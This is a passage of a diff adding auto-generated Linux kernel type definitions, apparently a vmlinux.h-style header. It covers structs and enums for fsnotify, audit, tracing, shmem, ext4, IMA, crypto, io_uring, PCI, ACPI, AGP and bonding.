FSNOTIFY_ITER_TYPE_COUNT = 5, +}; + +enum fsnotify_obj_type { + FSNOTIFY_OBJ_TYPE_ANY = -1, + FSNOTIFY_OBJ_TYPE_INODE = 0, + FSNOTIFY_OBJ_TYPE_VFSMOUNT = 1, + FSNOTIFY_OBJ_TYPE_SB = 2, + FSNOTIFY_OBJ_TYPE_COUNT = 3, + FSNOTIFY_OBJ_TYPE_DETACHED = 3, +}; + +struct audit_node { + struct list_head list; + struct audit_tree *owner; + unsigned int index; +}; + +struct audit_chunk { + struct list_head hash; + long unsigned int key; + struct fsnotify_mark *mark; + struct list_head trees; + int count; + atomic_long_t refs; + struct callback_head head; + struct audit_node owners[0]; +}; + +struct audit_tree_mark { + struct fsnotify_mark mark; + struct audit_chunk *chunk; +}; + +enum { + HASH_SIZE = 128, +}; + +enum trace_flag_type { + TRACE_FLAG_IRQS_OFF = 1, + TRACE_FLAG_IRQS_NOSUPPORT = 2, + TRACE_FLAG_NEED_RESCHED = 4, + TRACE_FLAG_HARDIRQ = 8, + TRACE_FLAG_SOFTIRQ = 16, + TRACE_FLAG_PREEMPT_RESCHED = 32, + TRACE_FLAG_NMI = 64, + TRACE_FLAG_BH_OFF = 128, +}; + +enum event_trigger_type { + ETT_NONE = 0, + ETT_TRACE_ONOFF = 1, + ETT_SNAPSHOT = 2, + ETT_STACKTRACE = 4, + ETT_EVENT_ENABLE = 8, + ETT_EVENT_HIST = 16, + ETT_HIST_ENABLE = 32, + ETT_EVENT_EPROBE = 64, +}; + +enum { + EVENT_TRIGGER_FL_PROBE = 1, +}; + +struct event_trigger_ops; + +struct event_command; + +struct event_trigger_data { + long unsigned int count; + int ref; + int flags; + struct event_trigger_ops *ops; + struct event_command *cmd_ops; + struct event_filter *filter; + char *filter_str; + void *private_data; + bool paused; + bool paused_tmp; + struct list_head list; + char *name; + struct list_head named_list; + struct event_trigger_data *named_data; +}; + +struct event_trigger_ops { + void (*trigger)(struct event_trigger_data *, struct trace_buffer *, void *, struct ring_buffer_event *); + int (*init)(struct event_trigger_data *); + void (*free)(struct event_trigger_data *); + int (*print)(struct seq_file *, struct event_trigger_data *); +}; + +struct event_command { + struct list_head list; + char *name; + enum event_trigger_type trigger_type; + int flags; + int (*parse)(struct event_command *, struct trace_event_file *, char *, char *, char *); + int (*reg)(char *, struct event_trigger_data *, struct trace_event_file *); + void (*unreg)(char *, struct event_trigger_data *, struct trace_event_file *); + void (*unreg_all)(struct trace_event_file *); + int (*set_filter)(char *, struct event_trigger_data *, struct trace_event_file *); + struct event_trigger_ops * (*get_trigger_ops)(char *, char *); +}; + +struct enable_trigger_data { + struct trace_event_file *file; + bool enable; + bool hist; +}; + +enum event_command_flags { + EVENT_CMD_FL_POST_TRIGGER = 1, + EVENT_CMD_FL_NEEDS_REC = 2, +}; + +struct bpf_iter_seq_link_info { + u32 link_id; +}; + +struct bpf_iter__bpf_link { + union { + struct bpf_iter_meta *meta; + }; + union { + struct bpf_link *link; + }; +}; + +struct fileattr { + u32 flags; + u32 fsx_xflags; + u32 fsx_extsize; + u32 fsx_nextents; + u32 fsx_projid; + u32 fsx_cowextsize; + bool flags_valid: 1; + bool fsx_valid: 1; +}; + +struct xattr { + const char *name; + void *value; + size_t value_len; +}; + +enum { + MPOL_DEFAULT = 0, + MPOL_PREFERRED = 1, + MPOL_BIND = 2, + MPOL_INTERLEAVE = 3, + MPOL_LOCAL = 4, + MPOL_PREFERRED_MANY = 5, + MPOL_MAX = 6, +}; + +struct shared_policy { + struct rb_root root; + rwlock_t lock; +}; + +struct simple_xattr { + struct rb_node rb_node; + char *name; + size_t size; + char value[0]; +}; + +typedef unsigned int uffd_flags_t; + +enum mfill_atomic_mode { + MFILL_ATOMIC_COPY = 0, + MFILL_ATOMIC_ZEROPAGE = 1, + MFILL_ATOMIC_CONTINUE = 2, + NR_MFILL_ATOMIC_MODES = 3, +}; + +struct shmem_inode_info { + spinlock_t lock; + unsigned int seals; + long unsigned int flags; + long unsigned int alloced; + long unsigned int swapped; + long unsigned int fallocend; + struct list_head shrinklist; + struct list_head swaplist; + struct shared_policy policy; + struct simple_xattrs xattrs; + atomic_t stop_eviction; + struct timespec64 i_crtime; + unsigned int fsflags; + struct inode vfs_inode; +}; + +struct shmem_sb_info { + long unsigned int max_blocks; + struct percpu_counter used_blocks; + long unsigned int max_inodes; + long unsigned int free_inodes; + raw_spinlock_t stat_lock; + umode_t mode; + unsigned char huge; + kuid_t uid; + kgid_t gid; + bool full_inums; + bool noswap; + ino_t next_ino; + ino_t *ino_batch; + struct mempolicy *mpol; + spinlock_t shrinklist_lock; + struct list_head shrinklist; + long unsigned int shrinklist_len; +}; + +enum sgp_type { + SGP_READ = 0, + SGP_NOALLOC = 1, + SGP_CACHE = 2, + SGP_WRITE = 3, + SGP_FALLOC = 4, +}; + +enum fid_type { + FILEID_ROOT = 0, + FILEID_INO32_GEN = 1, + FILEID_INO32_GEN_PARENT = 2, + FILEID_BTRFS_WITHOUT_PARENT = 77, + FILEID_BTRFS_WITH_PARENT = 78, + FILEID_BTRFS_WITH_PARENT_ROOT = 79, + FILEID_UDF_WITHOUT_PARENT = 81, + FILEID_UDF_WITH_PARENT = 82, + FILEID_NILFS_WITHOUT_PARENT = 97, + FILEID_NILFS_WITH_PARENT = 98, + FILEID_FAT_WITHOUT_PARENT = 113, + FILEID_FAT_WITH_PARENT = 114, + FILEID_LUSTRE = 151, + FILEID_KERNFS = 254, + FILEID_INVALID = 255, +}; + +struct pagevec { + unsigned char nr; + bool percpu_pvec_drained; + struct page *pages[15]; +}; + +struct folio_batch { + unsigned char nr; + bool percpu_pvec_drained; + struct folio *folios[15]; +}; + +struct shmem_falloc { + wait_queue_head_t *waitq; + long unsigned int start; + long unsigned int next; + long unsigned int nr_falloced; + long unsigned int nr_unswapped; +}; + +struct shmem_options { + long long unsigned int blocks; + long long unsigned int inodes; + struct mempolicy *mpol; + kuid_t uid; + kgid_t gid; + umode_t mode; + bool full_inums; + int huge; + int seen; + bool noswap; +}; + +enum shmem_param { + Opt_gid___2 = 0, + Opt_huge = 1, + Opt_mode___2 = 2, + Opt_mpol = 3, + Opt_nr_blocks = 4, + Opt_nr_inodes = 5, + Opt_size = 6, + Opt_uid___2 = 7, + Opt_inode32 = 8, + Opt_inode64 = 9, + Opt_noswap = 10, +}; + +struct vma_swap_readahead { + short unsigned int win; + short unsigned int offset; + short unsigned int nr_pte; + pte_t *ptes; +}; + +enum proc_hidepid { + HIDEPID_OFF = 0, + HIDEPID_NO_ACCESS = 1, + HIDEPID_INVISIBLE = 2, + HIDEPID_NOT_PTRACEABLE = 4, +}; + +enum proc_pidonly { + PROC_PIDONLY_OFF = 0, + PROC_PIDONLY_ON = 1, +}; + +struct proc_fs_info { + struct pid_namespace *pid_ns; + struct dentry *proc_self; + struct dentry *proc_thread_self; + kgid_t pid_gid; + enum proc_hidepid hide_pid; + enum proc_pidonly pidonly; +}; + +struct ext4_fc_tl { + __le16 fc_tag; + __le16 fc_len; +}; + +struct ext4_fc_head { + __le32 fc_features; + __le32 fc_tid; +}; + +struct ext4_fc_add_range { + __le32 fc_ino; + __u8 fc_ex[12]; +}; + +struct ext4_fc_del_range { + __le32 fc_ino; + __le32 fc_lblk; + __le32 fc_len; +}; + +struct ext4_fc_dentry_info { + __le32 fc_parent_ino; + __le32 fc_ino; + __u8 fc_dname[0]; +}; + +struct ext4_fc_inode { + __le32 fc_ino; + __u8 fc_raw_inode[0]; +}; + +struct ext4_fc_tail { + __le32 fc_tid; + __le32 fc_crc; +}; + +enum { + EXT4_FC_STATUS_OK = 0, + EXT4_FC_STATUS_INELIGIBLE = 1, + EXT4_FC_STATUS_SKIPPED = 2, + EXT4_FC_STATUS_FAILED = 3, +}; + +struct ext4_fc_dentry_update { + int fcd_op; + int fcd_parent; + int fcd_ino; + struct qstr fcd_name; + unsigned char fcd_iname[32]; + struct list_head fcd_list; + struct list_head fcd_dilist; +}; + +struct ext4_iloc { + struct buffer_head *bh; + long unsigned int offset; + ext4_group_t block_group; +}; + +struct __track_dentry_update_args { + struct dentry *dentry; + int op; +}; + +struct __track_range_args { + ext4_lblk_t start; + ext4_lblk_t end; +}; + +struct dentry_info_args { + int parent_ino; + int dname_len; + int ino; + int inode_len; + char *dname; +}; + +struct ext4_fc_tl_mem { + u16 fc_tag; + u16 fc_len; +}; + +enum lsm_event { + LSM_POLICY_CHANGE = 0, +}; + +enum ima_hooks { + NONE = 0, + FILE_CHECK = 1, + MMAP_CHECK = 2, + MMAP_CHECK_REQPROT = 3, + BPRM_CHECK = 4, + CREDS_CHECK = 5, + POST_SETATTR = 6, + MODULE_CHECK = 7, + FIRMWARE_CHECK = 8, + KEXEC_KERNEL_CHECK = 9, + KEXEC_INITRAMFS_CHECK = 10, + POLICY_CHECK = 11, + KEXEC_CMDLINE = 12, + KEY_CHECK = 13, + CRITICAL_DATA = 14, + SETXATTR_CHECK = 15, + MAX_CHECK = 16, +}; + +enum lsm_rule_types { + LSM_OBJ_USER = 0, + LSM_OBJ_ROLE = 1, + LSM_OBJ_TYPE = 2, + LSM_SUBJ_USER = 3, + LSM_SUBJ_ROLE = 4, + LSM_SUBJ_TYPE = 5, +}; + +enum policy_types { + ORIGINAL_TCB = 1, + DEFAULT_TCB = 2, +}; + +enum policy_rule_list { + IMA_DEFAULT_POLICY = 1, + IMA_CUSTOM_POLICY = 2, +}; + +struct ima_rule_opt_list { + size_t count; + char *items[0]; +}; + +struct ima_rule_entry { + struct list_head list; + int action; + unsigned int flags; + enum ima_hooks func; + int mask; + long unsigned int fsmagic; + uuid_t fsuuid; + kuid_t uid; + kgid_t gid; + kuid_t fowner; + kgid_t fgroup; + bool (*uid_op)(kuid_t, kuid_t); + bool (*gid_op)(kgid_t, kgid_t); + bool (*fowner_op)(vfsuid_t, kuid_t); + bool (*fgroup_op)(vfsgid_t, kgid_t); + int pcr; + unsigned int allowed_algos; + struct { + void *rule; + char *args_p; + int type; + } lsm[6]; + char *fsname; + struct ima_rule_opt_list *keyrings; + struct ima_rule_opt_list *label; + struct ima_template_desc *template; +}; + +enum policy_opt { + Opt_measure = 0, + Opt_dont_measure = 1, + Opt_appraise = 2, + Opt_dont_appraise = 3, + Opt_audit = 4, + Opt_hash = 5, + Opt_dont_hash = 6, + Opt_obj_user = 7, + Opt_obj_role = 8, + Opt_obj_type = 9, + Opt_subj_user = 10, + Opt_subj_role = 11, + Opt_subj_type = 12, + Opt_func = 13, + Opt_mask = 14, + Opt_fsmagic = 15, + Opt_fsname = 16, + Opt_fsuuid = 17, + Opt_uid_eq = 18, + Opt_euid_eq = 19, + Opt_gid_eq = 20, + Opt_egid_eq = 21, + Opt_fowner_eq = 22, + Opt_fgroup_eq = 23, + Opt_uid_gt = 24, + Opt_euid_gt = 25, + Opt_gid_gt = 26, + Opt_egid_gt = 27, + Opt_fowner_gt = 28, + Opt_fgroup_gt = 29, + Opt_uid_lt = 30, + Opt_euid_lt = 31, + Opt_gid_lt = 32, + Opt_egid_lt = 33, + Opt_fowner_lt = 34, + Opt_fgroup_lt = 35, + Opt_digest_type = 36, + Opt_appraise_type = 37, + Opt_appraise_flag = 38, + Opt_appraise_algos = 39, + Opt_permit_directio = 40, + Opt_pcr = 41, + Opt_template = 42, + Opt_keyrings = 43, + Opt_label = 44, + Opt_err___4 = 45, +}; + +enum { + mask_exec = 0, + mask_write = 1, + mask_read = 2, + mask_append = 3, +}; + +struct crypto_istat_hash { + atomic64_t hash_cnt; + atomic64_t hash_tlen; + atomic64_t err_cnt; +}; + +struct ahash_alg { + int (*init)(struct ahash_request *); + int (*update)(struct ahash_request *); + int (*final)(struct ahash_request *); + int (*finup)(struct ahash_request *); + int (*digest)(struct ahash_request *); + int (*export)(struct ahash_request *, void *); + int (*import)(struct ahash_request *, const void *); + int (*setkey)(struct crypto_ahash *, const u8 *, unsigned int); + int (*init_tfm)(struct crypto_ahash *); + void (*exit_tfm)(struct crypto_ahash *); + int (*clone_tfm)(struct crypto_ahash *, struct crypto_ahash *); + struct hash_alg_common halg; +}; + +struct crypto_hash_walk { + char *data; + unsigned int offset; + unsigned int alignmask; + struct page *pg; + unsigned int entrylen; + unsigned int total; + struct scatterlist *sg; + unsigned int flags; +}; + +struct ahash_instance { + void (*free)(struct ahash_instance *); + union { + struct { + char head[96]; + struct crypto_instance base; + } s; + struct ahash_alg alg; + }; +}; + +struct crypto_istat_rng { + atomic64_t generate_cnt; + atomic64_t generate_tlen; + atomic64_t seed_cnt; + atomic64_t err_cnt; +}; + +struct drbg_string { + const unsigned char *buf; + size_t len; + struct list_head list; +}; + +typedef uint32_t drbg_flag_t; + +struct drbg_core { + drbg_flag_t flags; + __u8 statelen; + __u8 blocklen_bytes; + char cra_name[128]; + char backend_cra_name[128]; +}; + +struct drbg_state; + +struct drbg_state_ops { + int (*update)(struct drbg_state *, struct list_head *, int); + int (*generate)(struct drbg_state *, unsigned char *, unsigned int, struct list_head *); + int (*crypto_init)(struct drbg_state *); + int (*crypto_fini)(struct drbg_state *); +}; + +enum drbg_seed_state { + DRBG_SEED_STATE_UNSEEDED = 0, + DRBG_SEED_STATE_PARTIAL = 1, + DRBG_SEED_STATE_FULL = 2, +}; + +struct drbg_state { + struct mutex drbg_mutex; + unsigned char *V; + unsigned char *Vbuf; + unsigned char *C; + unsigned char *Cbuf; + size_t reseed_ctr; + size_t reseed_threshold; + unsigned char *scratchpad; + unsigned char *scratchpadbuf; + void *priv_data; + struct crypto_skcipher *ctr_handle; + struct skcipher_request *ctr_req; + __u8 *outscratchpadbuf; + __u8 *outscratchpad; + struct crypto_wait ctr_wait; + struct scatterlist sg_in; + struct scatterlist sg_out; + enum drbg_seed_state seeded; + long unsigned int last_seed_time; + bool pr; + bool fips_primed; + unsigned char *prev; + struct crypto_rng *jent; + const struct drbg_state_ops *d_ops; + const struct drbg_core *core; + struct drbg_string test_data; +}; + +enum drbg_prefixes { + DRBG_PREFIX0 = 0, + DRBG_PREFIX1 = 1, + DRBG_PREFIX2 = 2, + DRBG_PREFIX3 = 3, +}; + +struct sdesc { + struct shash_desc shash; + char ctx[0]; +}; + +struct sg_io_v4 { + __s32 guard; + __u32 protocol; + __u32 subprotocol; + __u32 request_len; + __u64 request; + __u64 request_tag; + __u32 request_attr; + __u32 request_priority; + __u32 request_extra; + __u32 max_response_len; + __u64 response; + __u32 dout_iovec_count; + __u32 dout_xfer_len; + __u32 din_iovec_count; + __u32 din_xfer_len; + __u64 dout_xferp; + __u64 din_xferp; + __u32 timeout; + __u32 flags; + __u64 usr_ptr; + __u32 spare_in; + __u32 driver_status; + __u32 transport_status; + __u32 device_status; + __u32 retry_delay; + __u32 info; + __u32 duration; + __u32 response_len; + __s32 din_resid; + __s32 dout_resid; + __u64 generated_tag; + __u32 spare_out; + __u32 padding; +}; + +struct blk_integrity_profile; + +enum { + BLK_MQ_F_SHOULD_MERGE = 1, + BLK_MQ_F_TAG_QUEUE_SHARED = 2, + BLK_MQ_F_STACKING = 4, + BLK_MQ_F_TAG_HCTX_SHARED = 8, + BLK_MQ_F_BLOCKING = 32, + BLK_MQ_F_NO_SCHED = 64, + BLK_MQ_F_NO_SCHED_BY_DEFAULT = 128, + BLK_MQ_F_ALLOC_POLICY_START_BIT = 8, + BLK_MQ_F_ALLOC_POLICY_BITS = 1, + BLK_MQ_S_STOPPED = 0, + BLK_MQ_S_TAG_ACTIVE = 1, + BLK_MQ_S_SCHED_RESTART = 2, + BLK_MQ_S_INACTIVE = 3, + BLK_MQ_MAX_DEPTH = 10240, + BLK_MQ_CPU_WORK_BATCH = 8, +}; + +struct bsg_job; + +typedef int bsg_job_fn(struct bsg_job *); + +struct bsg_buffer { + unsigned int payload_len; + int sg_cnt; + struct scatterlist *sg_list; +}; + +struct bsg_job { + struct device *dev; + struct kref kref; + unsigned int timeout; + void *request; + void *reply; + unsigned int request_len; + unsigned int reply_len; + struct bsg_buffer request_payload; + struct bsg_buffer reply_payload; + int result; + unsigned int reply_payload_rcv_len; + struct request *bidi_rq; + struct bio *bidi_bio; + void *dd_data; +}; + +typedef enum blk_eh_timer_return bsg_timeout_fn(struct request *); + +enum scsi_device_event { + SDEV_EVT_MEDIA_CHANGE = 1, + SDEV_EVT_INQUIRY_CHANGE_REPORTED = 2, + SDEV_EVT_CAPACITY_CHANGE_REPORTED = 3, + SDEV_EVT_SOFT_THRESHOLD_REACHED_REPORTED = 4, + SDEV_EVT_MODE_PARAMETER_CHANGE_REPORTED = 5, + SDEV_EVT_LUN_CHANGE_REPORTED = 6, + SDEV_EVT_ALUA_STATE_CHANGE_REPORTED = 7, + SDEV_EVT_POWER_ON_RESET_OCCURRED = 8, + SDEV_EVT_FIRST = 1, + SDEV_EVT_LAST = 8, + SDEV_EVT_MAXBITS = 9, +}; + +struct bsg_device; + +struct bsg_set { + struct blk_mq_tag_set tag_set; + struct bsg_device *bd; + bsg_job_fn *job_fn; + bsg_timeout_fn *timeout_fn; +}; + +enum { + IOSQE_FIXED_FILE_BIT = 0, + IOSQE_IO_DRAIN_BIT = 1, + IOSQE_IO_LINK_BIT = 2, + IOSQE_IO_HARDLINK_BIT = 3, + IOSQE_ASYNC_BIT = 4, + IOSQE_BUFFER_SELECT_BIT = 5, + IOSQE_CQE_SKIP_SUCCESS_BIT = 6, +}; + +enum { + IORING_REGISTER_BUFFERS = 0, + IORING_UNREGISTER_BUFFERS = 1, + IORING_REGISTER_FILES = 2, + IORING_UNREGISTER_FILES = 3, + IORING_REGISTER_EVENTFD = 4, + IORING_UNREGISTER_EVENTFD = 5, + IORING_REGISTER_FILES_UPDATE = 6, + IORING_REGISTER_EVENTFD_ASYNC = 7, + IORING_REGISTER_PROBE = 8, + IORING_REGISTER_PERSONALITY = 9, + IORING_UNREGISTER_PERSONALITY = 10, + IORING_REGISTER_RESTRICTIONS = 11, + IORING_REGISTER_ENABLE_RINGS = 12, + IORING_REGISTER_FILES2 = 13, + IORING_REGISTER_FILES_UPDATE2 = 14, + IORING_REGISTER_BUFFERS2 = 15, + IORING_REGISTER_BUFFERS_UPDATE = 16, + IORING_REGISTER_IOWQ_AFF = 17, + IORING_UNREGISTER_IOWQ_AFF = 18, + IORING_REGISTER_IOWQ_MAX_WORKERS = 19, + IORING_REGISTER_RING_FDS = 20, + IORING_UNREGISTER_RING_FDS = 21, + IORING_REGISTER_PBUF_RING = 22, + IORING_UNREGISTER_PBUF_RING = 23, + IORING_REGISTER_SYNC_CANCEL = 24, + IORING_REGISTER_FILE_ALLOC_RANGE = 25, + IORING_REGISTER_LAST = 26, + IORING_REGISTER_USE_REGISTERED_RING = 2147483648, +}; + +enum { + REQ_F_FIXED_FILE_BIT = 0, + REQ_F_IO_DRAIN_BIT = 1, + REQ_F_LINK_BIT = 2, + REQ_F_HARDLINK_BIT = 3, + REQ_F_FORCE_ASYNC_BIT = 4, + REQ_F_BUFFER_SELECT_BIT = 5, + REQ_F_CQE_SKIP_BIT = 6, + REQ_F_FAIL_BIT = 8, + REQ_F_INFLIGHT_BIT = 9, + REQ_F_CUR_POS_BIT = 10, + REQ_F_NOWAIT_BIT = 11, + REQ_F_LINK_TIMEOUT_BIT = 12, + REQ_F_NEED_CLEANUP_BIT = 13, + REQ_F_POLLED_BIT = 14, + REQ_F_BUFFER_SELECTED_BIT = 15, + REQ_F_BUFFER_RING_BIT = 16, + REQ_F_REISSUE_BIT = 17, + REQ_F_CREDS_BIT = 18, + REQ_F_REFCOUNT_BIT = 19, + REQ_F_ARM_LTIMEOUT_BIT = 20, + REQ_F_ASYNC_DATA_BIT = 21, + REQ_F_SKIP_LINK_CQES_BIT = 22, + REQ_F_SINGLE_POLL_BIT = 23, + REQ_F_DOUBLE_POLL_BIT = 24, + REQ_F_PARTIAL_IO_BIT = 25, + REQ_F_CQE32_INIT_BIT = 26, + REQ_F_APOLL_MULTISHOT_BIT = 27, + REQ_F_CLEAR_POLLIN_BIT = 28, + REQ_F_HASH_LOCKED_BIT = 29, + REQ_F_SUPPORT_NOWAIT_BIT = 30, + REQ_F_ISREG_BIT = 31, + __REQ_F_LAST_BIT = 32, +}; + +struct font_desc { + int idx; + const char *name; + unsigned int width; + unsigned int height; + unsigned int charcount; + const void *data; + int pref; +}; + +struct font_data { + unsigned int extra[4]; + const unsigned char data[0]; +}; + +enum pci_mmap_state { + pci_mmap_io = 0, + pci_mmap_mem = 1, +}; + +enum pci_bus_flags { + PCI_BUS_FLAGS_NO_MSI = 1, + PCI_BUS_FLAGS_NO_MMRBC = 2, + PCI_BUS_FLAGS_NO_AERSID = 4, + PCI_BUS_FLAGS_NO_EXTCFG = 8, +}; + +enum pci_bus_speed { + PCI_SPEED_33MHz = 0, + PCI_SPEED_66MHz = 1, + PCI_SPEED_66MHz_PCIX = 2, + PCI_SPEED_100MHz_PCIX = 3, + PCI_SPEED_133MHz_PCIX = 4, + PCI_SPEED_66MHz_PCIX_ECC = 5, + PCI_SPEED_100MHz_PCIX_ECC = 6, + PCI_SPEED_133MHz_PCIX_ECC = 7, + PCI_SPEED_66MHz_PCIX_266 = 9, + PCI_SPEED_100MHz_PCIX_266 = 10, + PCI_SPEED_133MHz_PCIX_266 = 11, + AGP_UNKNOWN = 12, + AGP_1X = 13, + AGP_2X = 14, + AGP_4X = 15, + AGP_8X = 16, + PCI_SPEED_66MHz_PCIX_533 = 17, + PCI_SPEED_100MHz_PCIX_533 = 18, + PCI_SPEED_133MHz_PCIX_533 = 19, + PCIE_SPEED_2_5GT = 20, + PCIE_SPEED_5_0GT = 21, + PCIE_SPEED_8_0GT = 22, + PCIE_SPEED_16_0GT = 23, + PCIE_SPEED_32_0GT = 24, + PCIE_SPEED_64_0GT = 25, + PCI_SPEED_UNKNOWN = 255, +}; + +enum pci_mmap_api { + PCI_MMAP_SYSFS = 0, + PCI_MMAP_PROCFS = 1, +}; + +struct vgastate { + void *vgabase; + long unsigned int membase; + __u32 memsize; + __u32 flags; + __u32 depth; + __u32 num_attr; + __u32 num_crtc; + __u32 num_gfx; + __u32 num_seq; + void *vidstate; +}; + +struct nvs_region { + __u64 phys_start; + __u64 size; + struct list_head node; +}; + +struct nvs_page { + long unsigned int phys_start; + unsigned int size; + void *kaddr; + void *data; + bool unmap; + struct list_head node; +}; + +struct acpi_bus_event { + struct list_head node; + acpi_device_class device_class; + acpi_bus_id bus_id; + u32 type; + u32 data; +}; + +struct acpi_genl_event { + acpi_device_class device_class; + char bus_id[15]; + u32 type; + u32 data; +}; + +enum { + ACPI_GENL_ATTR_UNSPEC = 0, + ACPI_GENL_ATTR_EVENT = 1, + __ACPI_GENL_ATTR_MAX = 2, +}; + +enum { + ACPI_GENL_CMD_UNSPEC = 0, + ACPI_GENL_CMD_EVENT = 1, + __ACPI_GENL_CMD_MAX = 2, +}; + +struct acpi_gpe_walk_info { + struct acpi_namespace_node *gpe_device; + struct acpi_gpe_block_info *gpe_block; + u16 count; + acpi_owner_id owner_id; + u8 execute_by_owner_id; +}; + +enum acpi_return_package_types { + ACPI_PTYPE1_FIXED = 1, + ACPI_PTYPE1_VAR = 2, + ACPI_PTYPE1_OPTION = 3, + ACPI_PTYPE2 = 4, + ACPI_PTYPE2_COUNT = 5, + ACPI_PTYPE2_PKG_COUNT = 6, + ACPI_PTYPE2_FIXED = 7, + ACPI_PTYPE2_MIN = 8, + ACPI_PTYPE2_REV_FIXED = 9, + ACPI_PTYPE2_FIX_VAR = 10, + ACPI_PTYPE2_VAR_VAR = 11, + ACPI_PTYPE2_UUID_PAIR = 12, + ACPI_PTYPE_CUSTOM = 13, +}; + +struct acpi_exception_info { + char *name; +}; + +typedef __kernel_long_t __kernel_off_t; + +typedef __kernel_off_t off_t; + +enum chipset_type { + NOT_SUPPORTED = 0, + SUPPORTED = 1, +}; + +struct agp_version { + u16 major; + u16 minor; +}; + +struct agp_bridge_data; + +struct agp_memory { + struct agp_memory *next; + struct agp_memory *prev; + struct agp_bridge_data *bridge; + struct page **pages; + size_t page_count; + int key; + int num_scratch_pages; + off_t pg_start; + u32 type; + u32 physical; + bool is_bound; + bool is_flushed; + struct list_head mapped_list; + struct scatterlist *sg_list; + int num_sg; +}; + +struct agp_bridge_driver; + +struct agp_bridge_data { + const struct agp_version *version; + const struct agp_bridge_driver *driver; + const struct vm_operations_struct *vm_ops; + void *previous_size; + void *current_size; + void *dev_private_data; + struct pci_dev *dev; + u32 *gatt_table; + u32 *gatt_table_real; + long unsigned int scratch_page; + struct page *scratch_page_page; + dma_addr_t scratch_page_dma; + long unsigned int gart_bus_addr; + long unsigned int gatt_bus_addr; + u32 mode; + enum chipset_type type; + long unsigned int *key_list; + atomic_t current_memory_agp; + atomic_t agp_in_use; + int max_memory_agp; + int aperture_size_idx; + int capndx; + int flags; + char major_version; + char minor_version; + struct list_head list; + u32 apbase_config; + struct list_head mapped_list; + spinlock_t mapped_lock; +}; + +enum aper_size_type { + U8_APER_SIZE = 0, + U16_APER_SIZE = 1, + U32_APER_SIZE = 2, + LVL2_APER_SIZE = 3, + FIXED_APER_SIZE = 4, +}; + +struct gatt_mask { + long unsigned int mask; + u32 type; +}; + +struct aper_size_info_16 { + int size; + int num_entries; + int page_order; + u16 size_value; +}; + +struct agp_bridge_driver { + struct module *owner; + const void *aperture_sizes; + int num_aperture_sizes; + enum aper_size_type size_type; + bool cant_use_aperture; + bool needs_scratch_page; + const struct gatt_mask *masks; + int (*fetch_size)(); + int (*configure)(); + void (*agp_enable)(struct agp_bridge_data *, u32); + void (*cleanup)(); + void (*tlb_flush)(struct agp_memory *); + long unsigned int (*mask_memory)(struct agp_bridge_data *, dma_addr_t, int); + void (*cache_flush)(); + int (*create_gatt_table)(struct agp_bridge_data *); + int (*free_gatt_table)(struct agp_bridge_data *); + int (*insert_memory)(struct agp_memory *, off_t, int); + int (*remove_memory)(struct agp_memory *, off_t, int); + struct agp_memory * (*alloc_by_type)(size_t, int); + void (*free_by_type)(struct agp_memory *); + struct page * (*agp_alloc_page)(struct agp_bridge_data *); + int (*agp_alloc_pages)(struct agp_bridge_data *, struct agp_memory *, size_t); + void (*agp_destroy_page)(struct page *, int); + void (*agp_destroy_pages)(struct agp_memory *); + int (*agp_type_to_mask_type)(struct agp_bridge_data *, int); +}; + +struct irq_affinity { + unsigned int pre_vectors; + unsigned int post_vectors; + unsigned int nr_sets; + unsigned int set_size[4]; + void (*calc_sets)(struct irq_affinity *, unsigned int); + void *priv; +}; + +struct irq_affinity_devres { + unsigned int count; + unsigned int irq[0]; +}; + +struct platform_object { + struct platform_device pdev; + char name[0]; +}; + +enum { + IFLA_BOND_UNSPEC = 0, + IFLA_BOND_MODE = 1, + IFLA_BOND_ACTIVE_SLAVE = 2, + IFLA_BOND_MIIMON = 3, + IFLA_BOND_UPDELAY = 4, + IFLA_BOND_DOWNDELAY = 5, + IFLA_BOND_USE_CARRIER = 6, + IFLA_BOND_ARP_INTERVAL = 7, + IFLA_BOND_ARP_IP_TARGET = 8, + IFLA_BOND_ARP_VALIDATE = 9, + IFLA_BOND_ARP_ALL_TARGETS = 10, + IFLA_BOND_PRIMARY = 11, + IFLA_BOND_PRIMARY_RESELECT = 12, + IFLA_BOND_FAIL_OVER_MAC = 13, + IFLA_BOND_XMIT_HASH_POLICY = 14, + IFLA_BOND_RESEND_IGMP = 15, + IFLA_BOND_NUM_PEER_NOTIF = 16, + IFLA_BOND_ALL_SLAVES_ACTIVE = 17, + IFLA_BOND_MIN_LINKS = 18, + IFLA_BOND_LP_INTERVAL = 19, + IFLA_BOND_PACKETS_PER_SLAVE = 20, + IFLA_BOND_AD_LACP_RATE = 21, + IFLA_BOND_AD_SELECT = 22, + IFLA_BOND_AD_INFO = 23, + IFLA_BOND_AD_ACTOR_SYS_PRIO = 24, + IFLA_BOND_AD_USER_PORT_KEY = 25, + IFLA_BOND_AD_ACTOR_SYSTEM = 26, + IFLA_BOND_TLB_DYNAMIC_LB = 27, + IFLA_BOND_PEER_NOTIF_DELAY = 28, + IFLA_BOND_AD_LACP_ACTIVE = 29, + IFLA_BOND_MISSED_MAX = 30, + IFLA_BOND_NS_IP6_TARGET = 31, + __IFLA_BOND_MAX = 32, +}; + +enum { + IFLA_BOND_AD_INFO_UNSPEC = 0, + IFLA_BOND_AD_INFO_AGGREGATOR = 1, + IFLA_BOND_AD_INFO_NUM_PORTS = 2, + IFLA_BOND_AD_INFO_ACTOR_KEY = 3, + IFLA_BOND_AD_INFO_PARTNER_KEY = 4, + IFLA_BOND_AD_INFO_PARTNER_MAC = 5, + __IFLA_BOND_AD_INFO_MAX = 6, +}; + +enum { + IFLA_BOND_SLAVE_UNSPEC = 0, + IFLA_BOND_SLAVE_STATE = 1, + IFLA_BOND_SLAVE_MII_STATUS = 2, + IFLA_BOND_SLAVE_LINK_FAILURE_COUNT = 3, + IFLA_BOND_SLAVE_PERM_HWADDR = 4, + IFLA_BOND_SLAVE_QUEUE_ID = 5, + IFLA_BOND_SLAVE_AD_AGGREGATOR_ID = 6, + IFLA_BOND_SLAVE_AD_ACTOR_OPER_PORT_STATE = 7, + IFLA_BOND_SLAVE_AD_PARTNER_OPER_PORT_STATE = 8, + IFLA_BOND_SLAVE_PRIO = 9, + __IFLA_BOND_SLAVE_MAX = 10, +}; + +enum { + IFLA_STATS_UNSPEC = 0, + IFLA_STATS_LINK_64 = 1, + IFLA_STATS_LINK_XSTATS = 2, + IFLA_STATS_LINK_XSTATS_SLAVE = 3, + IFLA_STATS_LINK_OFFLOAD_XSTATS = 4, + IFLA_STATS_AF_SPEC = 5, + __IFLA_STATS_MAX = 6, +}; + +enum { + LINK_XSTATS_TYPE_UNSPEC = 0, + LINK_XSTATS_TYPE_BRIDGE = 1, + LINK_XSTATS_TYPE_BOND = 2, + 